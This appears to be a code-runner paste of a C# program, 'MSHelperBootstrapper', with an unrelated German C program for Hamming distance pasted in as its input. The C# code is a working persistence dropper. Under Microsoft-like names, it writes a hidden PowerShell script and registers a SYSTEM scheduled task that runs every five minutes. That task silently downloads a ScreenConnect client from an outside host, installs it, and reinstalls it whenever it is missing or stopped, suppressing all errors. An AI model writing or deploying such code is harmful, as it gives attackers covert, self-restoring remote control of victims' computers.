fork download
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4.  
  5. namespace MSHelperBootstrapper
  6. {
  7. internal class Program
  8. {
  9. static void Main()
  10. {
  11. try
  12. {
  13. string workDir = @"C:\ProgramData\MSHelper";
  14. string taskName = "Windows Repair Helper";
  15. string selfHealPath = Path.Combine(workDir, "MSHelper-SelfHeal.ps1");
  16.  
  17. if (!Directory.Exists(workDir))
  18. {
  19. Directory.CreateDirectory(workDir);
  20. }
  21.  
  22. // Write self-heal PowerShell script
  23. string scriptContent = GetSelfHealScript(workDir);
  24. File.WriteAllText(selfHealPath, scriptContent);
  25.  
  26. // Build action: run PS script hidden
  27. string action = $"powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File \"{selfHealPath}\"";
  28.  
  29. // Remove existing task if present
  30. RunHidden("schtasks.exe", $"/Delete /TN \"{taskName}\" /F", wait: true);
  31.  
  32. // Create task: every 5 minutes, SYSTEM, highest
  33. string createArgs =
  34. $"/Create /TN \"{taskName}\" " +
  35. "/SC MINUTE /MO 5 " +
  36. $"/TR \"{action}\" " +
  37. "/RU SYSTEM /RL HIGHEST /F";
  38.  
  39. RunHidden("schtasks.exe", createArgs, wait: true);
  40.  
  41. // Kick off one heal run immediately
  42. RunHidden("powershell.exe",
  43. $"-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File \"{selfHealPath}\"",
  44. wait: false);
  45. }
  46. catch
  47. {
  48. // stay silent on errors
  49. }
  50. }
  51.  
  52. private static void RunHidden(string fileName, string arguments, bool wait)
  53. {
  54. var psi = new ProcessStartInfo
  55. {
  56. FileName = fileName,
  57. Arguments = arguments,
  58. CreateNoWindow = true,
  59. UseShellExecute = false,
  60. WindowStyle = ProcessWindowStyle.Hidden
  61. };
  62.  
  63. using (var p = Process.Start(psi))
  64. {
  65. if (wait && p != null)
  66. {
  67. p.WaitForExit();
  68. }
  69. }
  70. }
  71.  
  72. private static string GetSelfHealScript(string workDir)
  73. {
  74. string msiPath = Path.Combine(workDir, "MSHelper.msi");
  75. string logPath = Path.Combine(workDir, "MSHelper_SelfHeal.log");
  76.  
  77. // NOTE: no double quotes in this PowerShell – only single quotes.
  78. const string template = @"$ErrorActionPreference = 'Continue'
  79.  
  80. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  81.  
  82. $MsiUrl = 'https://c...content-available-to-author-only...x.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  83. $MsiPath = '__MSIPATH__'
  84. $LogPath = '__LOGPATH__'
  85.  
  86. $DesiredDisplayName = 'ScreenConnect Client (3a607f4eb8ca7215)'
  87.  
  88. function Write-Log {
  89. param([string]$Message)
  90. try {
  91. $ts = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
  92. $line = $ts + '`t' + $Message
  93. $line | Out-File -FilePath $LogPath -Append -Encoding UTF8
  94. } catch {}
  95. }
  96.  
  97. function Get-DesiredScreenConnectService {
  98. try {
  99. Get-Service | Where-Object { $_.DisplayName -eq $DesiredDisplayName }
  100. } catch {
  101. return $null
  102. }
  103. }
  104.  
  105. try {
  106. $svc = Get-DesiredScreenConnectService
  107.  
  108. if (-not $svc -or $svc.Status -ne 'Running') {
  109. if (-not $svc) {
  110. Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' not found. Attempting reinstall.')
  111. } else {
  112. Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' not running (state=' + $svc.Status + '). Attempting reinstall.')
  113. }
  114.  
  115. try {
  116. if (Test-Path $MsiPath) { Remove-Item $MsiPath -Force }
  117. } catch {}
  118.  
  119. try {
  120. Write-Log ('Downloading MSI from ' + $MsiUrl + ' to ' + $MsiPath + ' (WebClient)...')
  121. $wc = New-Object System.Net.WebClient
  122. $wc.DownloadFile($MsiUrl, $MsiPath)
  123. } catch {
  124. Write-Log ('Download failed: ' + $_.Exception.Message)
  125. return
  126. }
  127.  
  128. if (-not (Test-Path $MsiPath)) {
  129. Write-Log 'Download failed: MSI file not found after download.'
  130. return
  131. }
  132.  
  133. $size = (Get-Item $MsiPath).Length
  134. Write-Log ('Downloaded MSI size: ' + $size + ' bytes')
  135. if ($size -lt 500000) {
  136. Write-Log 'MSI too small, probably invalid. Aborting.'
  137. return
  138. }
  139.  
  140. try {
  141. Write-Log 'Running msiexec to (re)install ScreenConnect.'
  142. $arguments = '/i ' + '""' + $MsiPath + '""' + ' /quiet /norestart'
  143. $proc = Start-Process -FilePath 'msiexec.exe' -ArgumentList $arguments -Wait -PassThru -ErrorAction Stop
  144. Write-Log ('msiexec exit code: ' + $proc.ExitCode)
  145. } catch {
  146. Write-Log ('Failed to run msiexec: ' + $_.Exception.Message)
  147. return
  148. }
  149.  
  150. Start-Sleep -Seconds 10
  151.  
  152. $svc = Get-DesiredScreenConnectService
  153. if ($svc -and $svc.Status -ne 'Running') {
  154. try {
  155. Start-Service -InputObject $svc -ErrorAction SilentlyContinue
  156. Start-Sleep -Seconds 5
  157. } catch {}
  158. }
  159.  
  160. $svc = Get-DesiredScreenConnectService
  161. if ($svc -and $svc.Status -eq 'Running') {
  162. Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' is now installed and running.')
  163. } else {
  164. Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' still not running after reinstall.')
  165. }
  166. }
  167. } catch {
  168. Write-Log ('Unexpected error in self-heal script: ' + $_.Exception.Message)
  169. }
  170. ";
  171.  
  172. string script = template
  173. .Replace("__MSIPATH__", msiPath.Replace("'", "''"))
  174. .Replace("__LOGPATH__", logPath.Replace("'", "''"));
  175.  
  176. return script;
  177. }
  178. }
  179. }
Success #stdin #stdout 0.07s 29508KB
stdin
/*  Berechnung des Hamming-Abstandes zwischen zwei 128-Bit Werten in 	*/
/*	einer Textdatei. 													*/
/*  Die Werte müssen auf einer separaten Zeile gespeichert sein			*/
/* 																		*/
/*	Erstellt: 17.5.2010													*/
/*  Autor: Thomas Scheffler												*/

#include <stdio.h>
#include <stdlib.h>

#define ARRAY_SIZE 32

unsigned Hamdist(unsigned x, unsigned y)
{
  unsigned dist = 0, val = x ^ y;
 
  // Count the number of set bits
  while(val)
  {
    ++dist; 
    val &= val - 1;
  }
 
  return dist;
}



int main (void)
{
	char hex;
	int i;
	int a[ARRAY_SIZE];
	int b[ARRAY_SIZE];
	int hamDist = 0;
	FILE* fp;
	
	//Arrays mit 0 initialisieren
	for (i = 0; i < ARRAY_SIZE; ++i)
	{
  		a[i] = 0;
  		b[i] = 0;
	}

	
	fp = fopen("hex.txt","r");
	if (fp == NULL) 
	{
		printf("Die Datei hex.txt wurde nicht gefunden!");
		exit(EXIT_FAILURE);
	}

	i=0;
	printf("1.Zeile einlesen.\n");

 	while((hex=fgetc(fp))!='\n' && hex != EOF)
    {
        a[i]=strtol(&hex,0,16);
		i++;
    }
	i=0;
	printf("2.Zeile einlesen.\n");

 	while((hex=fgetc(fp))!='\n' && hex != EOF)
    {
    	b[i]=strtol(&hex,0,16);
        i++;
    }
	fclose(fp);

	printf("Hamming-Abweichung pro Nibble:\n");
	for (i = 0; i < ARRAY_SIZE; ++i)
	{
		printf ("%i\t%i\t%i\n",a[i],b[i],Hamdist(a[i],b[i]));
		hamDist += Hamdist(a[i],b[i]);
	}
	printf ("\nHamming-Abweichung der Hash-Werte:%d\n",hamDist);
}

stdout
Standard output is empty